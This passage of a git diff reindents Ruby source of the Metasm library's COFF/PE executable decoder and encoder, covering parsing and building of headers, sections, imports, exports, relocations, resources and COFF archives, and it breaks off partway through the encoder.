@sehcount.times { @safeseh << coff.decode_xword } + end + end + end + + class DelayImportDirectory + def self.decode_all(coff) + ret = [] + loop do + didata = decode(coff) + break if [didata.libname_p, didata.handle_p, didata.iat_p].uniq == [0] + ret << didata + end + ret.each { |didata| didata.decode_inner(coff) } + ret + end + + def decode_inner(coff) + if coff.sect_at_rva(@libname_p) + @libname = coff.decode_strz + end + # TODO + end + end + + class Cor20Header + def decode_all(coff) + if coff.sect_at_rva(@metadata_rva) + @metadata = coff.curencoded.read(@metadata_sz) + end + if coff.sect_at_rva(@resources_rva) + @resources = coff.curencoded.read(@resources_sz) + end + if coff.sect_at_rva(@strongnamesig_rva) + @strongnamesig = coff.curencoded.read(@strongnamesig_sz) + end + if coff.sect_at_rva(@codemgr_rva) + @codemgr = coff.curencoded.read(@codemgr_sz) + end + if coff.sect_at_rva(@vtfixup_rva) + @vtfixup = coff.curencoded.read(@vtfixup_sz) + end + if coff.sect_at_rva(@eatjumps_rva) + @eatjumps = coff.curencoded.read(@eatjumps_sz) + end + if coff.sect_at_rva(@managednativehdr_rva) + @managednativehdr = coff.curencoded.read(@managednativehdr_sz) + end + end + end + + class DebugDirectory + def decode_inner(coff) + case @type + when 'CODEVIEW' + # XXX what is @pointer? + return if not coff.sect_at_rva(@addr) + sig = coff.curencoded.read(4) + case sig + when 'NB09' # CodeView 4.10 + when 'NB10' # external pdb2.0 + @data = NB10.decode(coff) + when 'NB11' # CodeView 5.0 + when 'RSDS' # external pdb7.0 + @data = RSDS.decode(coff) + end + end + end + end + + attr_accessor :cursection + def curencoded + @cursection.encoded + end + + def decode_byte( edata = curencoded) ; edata.decode_imm(:u8, @endianness) end + def decode_half( edata = curencoded) ; edata.decode_imm(:u16, @endianness) end + def decode_word( edata = curencoded) ; edata.decode_imm(:u32, @endianness) end + def decode_xword(edata = curencoded) ; edata.decode_imm((@bitsize == 32 ? :u32 : :u64), @endianness) end + def decode_strz( edata = curencoded) ; super(edata) ; end + + # converts an RVA (offset from base address of file when loaded in memory) to the section containing it using the section table + # updates @cursection and @cursection.encoded.ptr to point to the specified address + # may return self when rva points to the coff header + # returns nil if none match, 0 never matches + def sect_at_rva(rva) + return if not rva or rva <= 0 + if sections and not @sections.empty? + valign = lambda { |l| EncodedData.align_size(l, @optheader.sect_align) } + if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + valign[s_.virtsize] > rva } + s.encoded.ptr = rva - s.virtaddr + @cursection = s + elsif rva < @sections.map { |s_| s_.virtaddr }.min + @encoded.ptr = rva + @cursection = self + end + elsif rva <= @encoded.length + @encoded.ptr = rva + @cursection = self + end + end + + def sect_at_va(va) + sect_at_rva(va - @optheader.image_base) + end + + def label_rva(name) + if name.kind_of? Integer + name + elsif s = @sections.find { |s_| s_.encoded.export[name] } + s.virtaddr + s.encoded.export[name] + else + @encoded.export[name] + end + end + + # address -> file offset + # handles LoadedPE + def addr_to_fileoff(addr) + addr -= @load_address ||= @optheader.image_base + return 0 if addr == 0 # sect_at_rva specialcases 0 + if s = sect_at_rva(addr) + if s.respond_to? :virtaddr + addr - s.virtaddr + s.rawaddr + else # header + addr + end + end + end + + # file offset -> memory address + # handles LoadedPE + def fileoff_to_addr(foff) + if s = @sections.find { |s_| s_.rawaddr <= foff and s_.rawaddr + s_.rawsize > foff } + s.virtaddr + foff - s.rawaddr + (@load_address ||= @optheader.image_base) + elsif foff >= 0 and foff < @optheader.headers_size + foff + (@load_address ||= @optheader.image_base) + end + end + + def each_section + if @header.size_opthdr == 0 + @sections.each { |s| + next if not s.encoded + l = new_label(s.name) + s.encoded.add_export(l, 0) + yield s.encoded, l + } + return + end + base = @optheader.image_base + base = 0 if not base.kind_of? Integer + yield @encoded[0, @optheader.headers_size], base + @sections.each { |s| yield s.encoded, base + s.virtaddr } + end + + # decodes the COFF header, optional header, section headers + # marks entrypoint and directories as edata.expord + def decode_header + @cursection ||= self + @encoded.ptr ||= 0 + @sections = [] + @header.decode(self) + optoff = @encoded.ptr + @optheader.decode(self) + decode_symbols if @header.num_sym != 0 and not @header.characteristics.include? 'DEBUG_STRIPPED' + curencoded.ptr = optoff + @header.size_opthdr + decode_sections + if sect_at_rva(@optheader.entrypoint) + curencoded.add_export new_label('entrypoint') + end + (DIRECTORIES - ['certificate_table']).each { |d| + if @directory[d] and sect_at_rva(@directory[d][0]) + curencoded.add_export new_label(d) + end + } + end + + # decode the COFF symbol table (obj only) + def decode_symbols + endptr = @encoded.ptr = @header.ptr_sym + 18*@header.num_sym + strlen = decode_word + @encoded.ptr = endptr + strtab = @encoded.read(strlen) + @encoded.ptr = @header.ptr_sym + @symbols = [] + @header.num_sym.times { + break if @encoded.ptr >= endptr or @encoded.ptr >= @encoded.length + @symbols << Symbol.decode(self, strtab) + # keep the reloc.sym_idx accurate + @symbols.last.nr_aux.times { @symbols << nil } + } + end + + # decode the COFF sections + def decode_sections + @header.num_sect.times { + @sections << Section.decode(self) + } + # now decode COFF object relocations + @sections.each { |s| + next if s.relocnr == 0 + curencoded.ptr = s.relocaddr + s.relocs = [] + s.relocnr.times { s.relocs << RelocObj.decode(self) } + new_label 'pcrel' + s.relocs.each { |r| + case r.type + when 'DIR32' + s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name], :u32, @endianness) + when 'REL32' + l = new_label('pcrel') + s.encoded.add_export(l, r.va+4) + s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name, :-, l], :u32, @endianness) + end + } + } if not @header.characteristics.include?('RELOCS_STRIPPED') + symbols.to_a.compact.each { |sym| + next if not sym.sec_nr.kind_of? Integer + next if sym.storage != 'EXTERNAL' and (sym.storage != 'STATIC' or sym.value == 0) + next if not s = @sections[sym.sec_nr-1] + s.encoded.add_export new_label(sym.name), sym.value + } + end + + # decodes a section content (allows simpler LoadedPE override) + def decode_section_body(s) + raw = EncodedData.align_size(s.rawsize, @optheader.file_align) + virt = EncodedData.align_size(s.virtsize, @optheader.sect_align) + virt = raw = s.rawsize if @header.size_opthdr == 0 + s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new + s.encoded.virtsize = virt + end + + # decodes COFF export table from directory + # mark exported names as encoded.export + def decode_exports + if @directory['export_table'] and sect_at_rva(@directory['export_table'][0]) + @export = ExportDirectory.decode(self) + @export.exports.to_a.each { |e| + if e.name and sect_at_rva(e.target) + name = e.name + elsif e.ordinal and sect_at_rva(e.target) + name = "ord_#{@export.libname}_#{e.ordinal}" + end + e.target = curencoded.add_export new_label(name) if name + } + end + end + + # decodes COFF import tables from directory + # mark iat entries as encoded.export + def decode_imports + if @directory['import_table'] and sect_at_rva(@directory['import_table'][0]) + @imports = ImportDirectory.decode_all(self) + iatlen = @bitsize/8 + @imports.each { |id| + if sect_at_rva(id.iat_p) + ptr = curencoded.ptr + id.imports.each { |i| + if i.name + name = new_label i.name + elsif i.ordinal + name = new_label "ord_#{id.libname}_#{i.ordinal}" + end + if name + i.target ||= name + r = Metasm::Relocation.new(Expression[name], "u#@bitsize".to_sym, @endianness) + curencoded.reloc[ptr] = r + curencoded.add_export new_label('iat_'+name), ptr, true + end + ptr += iatlen + } + end + } + end + end + + # decodes resources from directory + def decode_resources + if @directory['resource_table'] and sect_at_rva(@directory['resource_table'][0]) + @resource = ResourceDirectory.decode(self) + end + end + + # decode the VERSION information from the resources (file version, os, copyright etc) + def decode_version(lang=0x409) + decode_resources if not resource + resource.decode_version(self, lang) + end + + # decodes certificate table + def decode_certificates + if ct = @directory['certificate_table'] + @certificates = [] + @cursection = self + @encoded.ptr = ct[0] + off_end = ct[0]+ct[1] + while @encoded.ptr < off_end + certlen = decode_word + certrev = decode_half + certtype = decode_half + certdat = @encoded.read(certlen) + @certificates << [certrev, certtype, certdat] + end + end + end + + # decode the COM Cor20 header + def decode_com + if @directory['com_runtime'] and sect_at_rva(@directory['com_runtime'][0]) + @com_header = Cor20Header.decode(self) + if sect_at_rva(@com_header.entrypoint) + curencoded.add_export new_label('com_entrypoint') + end + @com_header.decode_all(self) + end + end + + # decode COFF relocation tables from directory + def decode_relocs + if @directory['base_relocation_table'] and sect_at_rva(@directory['base_relocation_table'][0]) + end_ptr = curencoded.ptr + @directory['base_relocation_table'][1] + @relocations = [] + while curencoded.ptr < end_ptr + @relocations << RelocationTable.decode(self) + end + + # interpret as EncodedData relocations + relocfunc = ('decode_reloc_' << @header.machine.downcase).to_sym + if not respond_to? relocfunc + puts "W: COFF: unsupported relocs for architecture #{@header.machine}" if $VERBOSE + return + end + @relocations.each { |rt| + rt.relocs.each { |r| + if s = sect_at_rva(rt.base_addr + r.offset) + e, p = s.encoded, s.encoded.ptr + rel = send(relocfunc, r) + e.reloc[p] = rel if rel + end + } + } + end + end + + # decodes an I386 COFF relocation pointing to encoded.ptr + def decode_reloc_i386(r) + case r.type + when 'ABSOLUTE' + when 'HIGHLOW' + addr = decode_word + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u32, @endianness) + end + when 'DIR64' + addr = decode_xword + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u64, @endianness) + end + else puts "W: COFF: Unsupported i386 relocation #{r.inspect}" if $VERBOSE + end + end + + def decode_debug + if dd = @directory['debug'] and sect_at_rva(dd[0]) + @debug = [] + p0 = curencoded.ptr + while curencoded.ptr < p0 + dd[1] + @debug << DebugDirectory.decode(self) + end + @debug.each { |dbg| dbg.decode_inner(self) } + end + end + + # decode TLS directory, including tls callback table + def decode_tls + if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0]) + @tls = TLSDirectory.decode(self) + if s = sect_at_va(@tls.callback_p) + s.encoded.add_export 'tls_callback_table' + @tls.callbacks.each_with_index { |cb, i| + @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb) + } + end + end + end + + def decode_loadconfig + if lc = @directory['load_config'] and sect_at_rva(lc[0]) + @loadconfig = LoadConfig.decode(self) + end + end + + def decode_delayimports + if di = @directory['delay_import_table'] and sect_at_rva(di[0]) + @delayimports = DelayImportDirectory.decode_all(self) + end + end + + + # decodes a COFF file (headers/exports/imports/relocs/sections) + # starts at encoded.ptr + def decode + decode_header + decode_exports + decode_imports + decode_resources + decode_certificates + decode_debug + decode_tls + decode_loadconfig + decode_delayimports + decode_com + decode_relocs unless nodecode_relocs or ENV['METASM_NODECODE_RELOCS'] # decode relocs last + end + + # returns a metasm CPU object corresponding to +header.machine+ + def cpu_from_headers + case @header.machine + when 'I386'; Ia32.new + when 'AMD64'; X86_64.new + when 'R4000'; MIPS.new(:little) + else raise "unknown cpu #{@header.machine}" + end + end + + # returns an array including the PE entrypoint and the exported functions entrypoints + # TODO filter out exported data, include safeseh ? + def get_default_entrypoints + ep = [] + ep.concat @tls.callbacks.to_a if tls + ep << (@optheader.image_base + label_rva(@optheader.entrypoint)) + @export.exports.to_a.each { |e| + next if e.forwarder_lib or not e.target + ep << (@optheader.image_base + label_rva(e.target)) + } if export + ep + end + + def dump_section_header(addr, edata) + s = @sections.find { |s_| s_.virtaddr == addr-@optheader.image_base } + s ? "\n.section #{s.name.inspect} base=#{Expression[addr]}" : + addr == @optheader.image_base ? "// exe header at #{Expression[addr]}" : super(addr, edata) + end + + # returns an array of [name, addr, length, info] + def section_info + [['header', @optheader.image_base, @optheader.headers_size, nil]] + + @sections.map { |s| + [s.name, @optheader.image_base + s.virtaddr, s.virtsize, s.characteristics.join(',')] + } + end end class COFFArchive - class Member - def decode(ar) - @offset = ar.encoded.ptr - - super(ar) - raise 'bad member header' + self.inspect if @eoh != "`\n" - - @name.strip! - @date = @date.to_i - @uid = @uid.to_i - @gid = @gid.to_i - @mode = @mode.to_i(8) - @size = @size.to_i - - @encoded = ar.encoded[ar.encoded.ptr, @size] - ar.encoded.ptr += @size - ar.encoded.ptr += 1 if @size & 1 == 1 - end - - def decode_half ; @encoded.decode_imm(:u16, :big) end - def decode_word ; @encoded.decode_imm(:u32, :big) end - - def exe; AutoExe.decode(@encoded) ; end - end - - def decode_half(edata = @encoded) ; edata.decode_imm(:u16, :little) end - def decode_word(edata = @encoded) ; edata.decode_imm(:u32, :little) end - def decode_strz(edata = @encoded) - i = edata.data.index(?\0, edata.ptr) || edata.data.index(?\n, edata.ptr) || (edata.length+1) - edata.read(i+1-edata.ptr).chop - end - - def decode_first_linker(m) - offsets = [] - names = [] - m.encoded.ptr = 0 - numsym = m.decode_word - numsym.times { offsets << m.decode_word } - numsym.times { names << decode_strz(m.encoded) } - - # names[42] is found in object at file offset offsets[42] - # offsets are sorted by object index (all syms from 1st object, then 2nd etc) - - @first_linker = names.zip(offsets) #.inject({}) { |h, (n, o)| h.update n => o } - end - - def decode_second_linker(m) - names = [] - mboffsets = [] - indices = [] - m = @members[1] - m.encoded.ptr = 0 - nummb = decode_word(m.encoded) - nummb.times { mboffsets << decode_word(m.encoded) } - numsym = decode_word(m.encoded) - numsym.times { indices << decode_half(m.encoded) } - numsym.times { names << decode_strz(m.encoded) } - - # names[42] is found in object at file offset mboffsets[indices[42]] - # symbols sorted by symbol name (supposed to be more efficient, but no index into string table...) - - #names.zip(indices).inject({}) { |h, (n, i)| h.update n => mboffsets[i] } - @second_linker = [names, mboffsets, indices] - end - - def decode_longnames(m) - @longnames = m.encoded - end - - # set real name to archive members - # look it up in the name table member if needed, or just remove the trailing / - def fixup_names - @members.each { |m| - case m.name - when '/' - when '//' - when /^\/(\d+)/ - @longnames.ptr = $1.to_i - m.name = decode_strz(@longnames).chomp("/") - else m.name.chomp! "/" - end - } - end - - def decode - @encoded.ptr = 0 - @signature = @encoded.read(8) - raise InvalidExeFormat, "Invalid COFF Archive signature #{@signature.inspect}" if @signature != "!\n" - @members = [] - while @encoded.ptr < @encoded.virtsize - @members << Member.decode(self) - end - @members.each { |m| - case m.name - when '/'; @first_linker ? decode_second_linker(m) : decode_first_linker(m) - when '//'; decode_longnames(m) - else break - end - } - fixup_names - end + class Member + def decode(ar) + @offset = ar.encoded.ptr + + super(ar) + raise 'bad member header' + self.inspect if @eoh != "`\n" + + @name.strip! + @date = @date.to_i + @uid = @uid.to_i + @gid = @gid.to_i + @mode = @mode.to_i(8) + @size = @size.to_i + + @encoded = ar.encoded[ar.encoded.ptr, @size] + ar.encoded.ptr += @size + ar.encoded.ptr += 1 if @size & 1 == 1 + end + + def decode_half ; @encoded.decode_imm(:u16, :big) end + def decode_word ; @encoded.decode_imm(:u32, :big) end + + def exe; AutoExe.decode(@encoded) ; end + end + + def decode_half(edata = @encoded) ; edata.decode_imm(:u16, :little) end + def decode_word(edata = @encoded) ; edata.decode_imm(:u32, :little) end + def decode_strz(edata = @encoded) + i = edata.data.index(?\0, edata.ptr) || edata.data.index(?\n, edata.ptr) || (edata.length+1) + edata.read(i+1-edata.ptr).chop + end + + def decode_first_linker(m) + offsets = [] + names = [] + m.encoded.ptr = 0 + numsym = m.decode_word + numsym.times { offsets << m.decode_word } + numsym.times { names << decode_strz(m.encoded) } + + # names[42] is found in object at file offset offsets[42] + # offsets are sorted by object index (all syms from 1st object, then 2nd etc) + + @first_linker = names.zip(offsets) #.inject({}) { |h, (n, o)| h.update n => o } + end + + def decode_second_linker(m) + names = [] + mboffsets = [] + indices = [] + m = @members[1] + m.encoded.ptr = 0 + nummb = decode_word(m.encoded) + nummb.times { mboffsets << decode_word(m.encoded) } + numsym = decode_word(m.encoded) + numsym.times { indices << decode_half(m.encoded) } + numsym.times { names << decode_strz(m.encoded) } + + # names[42] is found in object at file offset mboffsets[indices[42]] + # symbols sorted by symbol name (supposed to be more efficient, but no index into string table...) + + #names.zip(indices).inject({}) { |h, (n, i)| h.update n => mboffsets[i] } + @second_linker = [names, mboffsets, indices] + end + + def decode_longnames(m) + @longnames = m.encoded + end + + # set real name to archive members + # look it up in the name table member if needed, or just remove the trailing / + def fixup_names + @members.each { |m| + case m.name + when '/' + when '//' + when /^\/(\d+)/ + @longnames.ptr = $1.to_i + m.name = decode_strz(@longnames).chomp("/") + else m.name.chomp! "/" + end + } + end + + def decode + @encoded.ptr = 0 + @signature = @encoded.read(8) + raise InvalidExeFormat, "Invalid COFF Archive signature #{@signature.inspect}" if @signature != "!\n" + @members = [] + while @encoded.ptr < @encoded.virtsize + @members << Member.decode(self) + end + @members.each { |m| + case m.name + when '/'; @first_linker ? decode_second_linker(m) : decode_first_linker(m) + when '//'; decode_longnames(m) + else break + end + } + fixup_names + end end end diff --git a/lib/metasm/metasm/exe_format/coff_encode.rb b/lib/metasm/metasm/exe_format/coff_encode.rb index a9206d80f1c63..d317884bebda9 100644 --- a/lib/metasm/metasm/exe_format/coff_encode.rb +++ b/lib/metasm/metasm/exe_format/coff_encode.rb @@ -9,1070 +9,1070 @@ module Metasm class COFF - class OptionalHeader - # encodes an Optional header and the directories - def encode(coff) - opth = super(coff) - - DIRECTORIES[0, @numrva].each { |d| - if d = coff.directory[d] - d = d.dup - d[0] = Expression[d[0], :-, coff.label_at(coff.encoded, 0)] if d[0].kind_of?(::String) - else - d = [0, 0] - end - opth << coff.encode_word(d[0]) << coff.encode_word(d[1]) - } - - opth - end - - # find good default values for optheader members, based on coff.sections - def set_default_values(coff) - @signature ||= (coff.bitsize == 64 ? 'PE+' : 'PE') - @link_ver_maj ||= 1 - @link_ver_min ||= 0 - @sect_align ||= 0x1000 - align = lambda { |sz| EncodedData.align_size(sz, @sect_align) } - @code_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_CODE' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @data_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_DATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @udata_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_UDATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @entrypoint = Expression[@entrypoint, :-, coff.label_at(coff.encoded, 0)] if entrypoint and not @entrypoint.kind_of?(::Integer) - tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_CODE' } - @base_of_code ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) - tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_DATA' } - @base_of_data ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) - @file_align ||= 0x200 - @os_ver_maj ||= 4 - @subsys_maj ||= 4 - @stack_reserve||= 0x100000 - @stack_commit ||= 0x1000 - @heap_reserve ||= 0x100000 - @heap_commit ||= 0x1000 - @numrva ||= DIRECTORIES.length - - super(coff) - end - end - - class Section - # find good default values for section header members, defines rawaddr/rawsize as new_label for later fixup - def set_default_values(coff) - @name ||= '' - @virtsize ||= @encoded.virtsize - @virtaddr ||= Expression[coff.label_at(@encoded, 0, 'sect_start'), :-, coff.label_at(coff.encoded, 0)] - @rawsize ||= coff.new_label('sect_rawsize') - @rawaddr ||= coff.new_label('sect_rawaddr') - - super(coff) - end - end - - class ExportDirectory - # encodes an export directory - def encode(coff) - edata = {} - %w[edata addrtable namptable ord_table libname nametable].each { |name| - edata[name] = EncodedData.new - } - label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - - # ordinal base: smallest number > 1 to honor ordinals, minimize gaps - olist = @exports.map { |e| e.ordinal }.compact - # start with lowest ordinal, substract all exports unused to fill ordinal sequence gaps - omin = olist.min.to_i - gaps = olist.empty? ? 0 : olist.max+1 - olist.min - olist.length - noord = @exports.length - olist.length - @ordinal_base ||= [omin - (noord - gaps), 1].max - - @libname_p = rva['libname'] - @num_exports = [@exports.length, @exports.map { |e| e.ordinal }.compact.max.to_i - @ordinal_base].max - @num_names = @exports.find_all { |e| e.name }.length - @func_p = rva['addrtable'] - @names_p = rva['namptable'] - @ord_p = rva['ord_table'] - - edata['edata'] << super(coff) - - edata['libname'] << @libname << 0 - - elist = @exports.find_all { |e| e.name and not e.ordinal }.sort_by { |e| e.name } - @exports.find_all { |e| e.ordinal }.sort_by { |e| e.ordinal }.each { |e| elist.insert(e.ordinal-@ordinal_base, e) } - elist.each { |e| - if not e - # export by ordinal with gaps - # XXX test this value with the windows loader - edata['addrtable'] << coff.encode_word(0xffff_ffff) - next - end - if e.forwarder_lib - edata['addrtable'] << coff.encode_word(rva_end['nametable']) - edata['nametable'] << e.forwarder_lib << ?. << - if not e.forwarder_name - "##{e.forwarder_ordinal}" - else - e.forwarder_name - end << 0 - else - edata['addrtable'] << coff.encode_word(Expression[e.target, :-, coff.label_at(coff.encoded, 0)]) - end - if e.name - edata['ord_table'] << coff.encode_half(edata['addrtable'].virtsize/4 - 1) - edata['namptable'] << coff.encode_word(rva_end['nametable']) - edata['nametable'] << e.name << 0 - end - } - - # sorted by alignment directives - %w[edata addrtable namptable ord_table libname nametable].inject(EncodedData.new) { |ed, name| ed << edata[name] } - end - - def set_default_values(coff) - @timestamp ||= Time.now.to_i - @libname ||= 'metalib' - @ordinal_base ||= 1 - - super(coff) - end - end - - class ImportDirectory - # encodes all import directories + iat - def self.encode(coff, ary) - edata = { 'iat' => [] } - %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new } - - ary.each { |i| i.encode(coff, edata) } - - it = edata['idata'] << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - edata['ilt'] << - edata['nametable'] - - iat = edata['iat'] # why not fragmented ? - - [it, iat] - end - - # encodes an import directory + iat + names in the edata hash received as arg - def encode(coff, edata) - edata['iat'] << EncodedData.new - # edata['ilt'] = edata['iat'] - label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - - @libname_p = rva_end['nametable'] - @ilt_p = rva_end['ilt'] - @iat_p ||= Expression[coff.label_at(edata['iat'].last, 0, 'iat'), :-, coff.label_at(coff.encoded, 0)] - edata['idata'] << super(coff) - - edata['nametable'] << @libname << 0 - - ord_mask = 1 << (coff.bitsize - 1) - @imports.each { |i| - edata['iat'].last.add_export i.target, edata['iat'].last.virtsize if i.target - if i.ordinal - ptr = coff.encode_xword(Expression[i.ordinal, :|, ord_mask]) - else - edata['nametable'].align 2 - ptr = coff.encode_xword(rva_end['nametable']) - edata['nametable'] << coff.encode_half(i.hint || 0) << i.name << 0 - end - edata['ilt'] << ptr - edata['iat'].last << ptr - } - edata['ilt'] << coff.encode_xword(0) - edata['iat'].last << coff.encode_xword(0) - end - end - - class TLSDirectory - def encode(coff) - cblist = EncodedData.new - @callback_p = coff.label_at(cblist, 0, 'callback_p') - @callbacks.to_a.each { |cb| - cblist << coff.encode_xword(cb) - } - cblist << coff.encode_xword(0) - - dir = super(coff) - - [dir, cblist] - end - - def set_default_values(coff) - @start_va ||= 0 - @end_va ||= @start_va - - super(coff) - end - end - - class RelocationTable - # encodes a COFF relocation table - def encode(coff) - rel = super(coff) << coff.encode_word(8 + 2*@relocs.length) - @relocs.each { |r| rel << r.encode(coff) } - rel - end - - def set_default_values(coff) - # @base_addr is an rva - @base_addr = Expression[@base_addr, :-, coff.label_at(coff.encoded, 0)] if @base_addr.kind_of?(::String) - - # align relocation table size - if @relocs.length % 2 != 0 - r = Relocation.new - r.type = 0 - r.offset = 0 - @relocs << r - end - - super(coff) - end - end - - class ResourceDirectory - # compiles ressource directories - def encode(coff, edata = nil) - if not edata - # init recursion - edata = {} - subtables = %w[table names dataentries data] - subtables.each { |n| edata[n] = EncodedData.new } - encode(coff, edata) - return subtables.inject(EncodedData.new) { |sum, n| sum << edata[n] } - end - - label = lambda { |n| coff.label_at(edata[n], 0, n) } - # data 'rva' are real rvas (from start of COFF) - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - # names and table 'rva' are relative to the beginning of the resource directory - off_end = lambda { |n| Expression[[label[n], :-, coff.label_at(edata['table'], 0)], :+, edata[n].virtsize] } - - # build name_w if needed - @entries.each { |e| e.name_w = e.name.unpack('C*').pack('v*') if e.name and not e.name_w } - - # fixup forward references to us, as subdir - edata['table'].fixup @curoff_label => edata['table'].virtsize if defined? @curoff_label - - @nr_names = @entries.find_all { |e| e.name_w }.length - @nr_id = @entries.find_all { |e| e.id }.length - edata['table'] << super(coff) - - # encode entries, sorted by names nocase, then id - @entries.sort_by { |e| e.name_w ? [0, e.name_w.downcase] : [1, e.id] }.each { |e| - if e.name_w - edata['table'] << coff.encode_word(Expression[off_end['names'], :|, 1 << 31]) - edata['names'] << coff.encode_half(e.name_w.length/2) << e.name_w - else - edata['table'] << coff.encode_word(e.id) - end - - if e.subdir - e.subdir.curoff_label = coff.new_label('rsrc_curoff') - edata['table'] << coff.encode_word(Expression[e.subdir.curoff_label, :|, 1 << 31]) - else # data entry - edata['table'] << coff.encode_word(off_end['dataentries']) - - edata['dataentries'] << - coff.encode_word(rva_end['data']) << - coff.encode_word(e.data.length) << - coff.encode_word(e.codepage || 0) << - coff.encode_word(e.reserved || 0) - - edata['data'] << e.data - end - } - - # recurse - @entries.find_all { |e| e.subdir }.each { |e| e.subdir.encode(coff, edata) } - end - end - - - # computes the checksum for a given COFF file - # may not work with overlapping sections - def self.checksum(str, endianness = :little) - coff = load str - coff.endianness = endianness - coff.decode_header - coff.encoded.ptr = 0 - - flen = 0 - csum = 0 - # negate old checksum - oldcs = coff.encode_word(coff.optheader.checksum) - oldcs.ptr = 0 - csum -= coff.decode_half(oldcs) - csum -= coff.decode_half(oldcs) - - # checksum header - raw = coff.encoded.read(coff.optheader.headers_size) - flen += coff.optheader.headers_size - - coff.sections.each { |s| - coff.encoded.ptr = s.rawaddr - raw << coff.encoded.read(s.rawsize) - flen += s.rawsize - } - raw.unpack(endianness == :little ? 'v*' : 'n*').each { |s| - csum += s - csum = (csum & 0xffff) + (csum >> 16) if (csum >> 16) > 0 - } - csum + flen - end - - - def encode_byte(w) Expression[w].encode(:u8, @endianness, (caller if $DEBUG)) end - def encode_half(w) Expression[w].encode(:u16, @endianness, (caller if $DEBUG)) end - def encode_word(w) Expression[w].encode(:u32, @endianness, (caller if $DEBUG)) end - def encode_xword(w) Expression[w].encode((@bitsize == 32 ? :u32 : :u64), @endianness, (caller if $DEBUG)) end - - - # adds a new compiler-generated section - def encode_append_section(s) - if (s.virtsize || s.encoded.virtsize) < 4096 - # find section to merge with - # XXX check following sections for hardcoded base address ? - - char = s.characteristics.dup - secs = @sections.dup - # do not merge non-discardable in discardable - if not char.delete 'MEM_DISCARDABLE' - secs.delete_if { |ss| ss.characteristics.include? 'MEM_DISCARDABLE' } - end - # do not merge shared w/ non-shared - if char.delete 'MEM_SHARED' - secs.delete_if { |ss| not ss.characteristics.include? 'MEM_SHARED' } - else - secs.delete_if { |ss| ss.characteristics.include? 'MEM_SHARED' } - end - secs.delete_if { |ss| ss.virtsize.kind_of?(::Integer) or ss.rawsize.kind_of?(::Integer) or secs[secs.index(ss)+1..-1].find { |ss_| ss_.virtaddr.kind_of?(::Integer) } } - - # try to find superset of characteristics - if target = secs.find { |ss| (ss.characteristics & char) == char } - target.encoded.align 8 - puts "PE: merging #{s.name} in #{target.name} (#{target.encoded.virtsize})" if $DEBUG - s.encoded = target.encoded << s.encoded - else - @sections << s - end - else - @sections << s - end - end - - # encodes the export table as a new section, updates directory['export_table'] - def encode_exports - edata = @export.encode self - - # must include name tables (for forwarders) - @directory['export_table'] = [label_at(edata, 0, 'export_table'), edata.virtsize] - - s = Section.new - s.name = '.edata' - s.encoded = edata - s.characteristics = %w[MEM_READ] - encode_append_section s - end - - # encodes the import tables as a new section, updates directory['import_table'] and directory['iat'] - def encode_imports - idata, iat = ImportDirectory.encode(self, @imports) - - @directory['import_table'] = [label_at(idata, 0, 'idata'), idata.virtsize] - - s = Section.new - s.name = '.idata' - s.encoded = idata - s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE] - encode_append_section s - - if @imports.first and @imports.first.iat_p.kind_of? Integer - ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it } - else - ordiat = iat - end - - @directory['iat'] = [label_at(ordiat.first, 0, 'iat'), - Expression[label_at(ordiat.last, ordiat.last.virtsize, 'iat_end'), :-, label_at(ordiat.first, 0)]] if not ordiat.empty? - - iat_s = nil - - plt = Section.new - plt.name = '.plt' - plt.encoded = EncodedData.new - plt.characteristics = %w[MEM_READ MEM_EXECUTE] - - @imports.zip(iat) { |id, it| - if id.iat_p.kind_of? Integer and s = @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } - id.iat = it # will be fixed up after encode_section - else - # XXX should not be mixed (for @directory['iat'][1]) - if not iat_s - iat_s = Section.new - iat_s.name = '.iat' - iat_s.encoded = EncodedData.new - iat_s.characteristics = %w[MEM_READ MEM_WRITE] - encode_append_section iat_s - end - iat_s.encoded << it - end - - id.imports.each { |i| - if i.thunk - arch_encode_thunk(plt.encoded, i) - end - } - } - - encode_append_section plt if not plt.encoded.empty? - end - - # encodes a thunk to imported function - def arch_encode_thunk(edata, import) - case @cpu.shortname - when 'ia32', 'x64' - shellcode = lambda { |c| Shellcode.new(@cpu).share_namespace(self).assemble(c).encoded } - 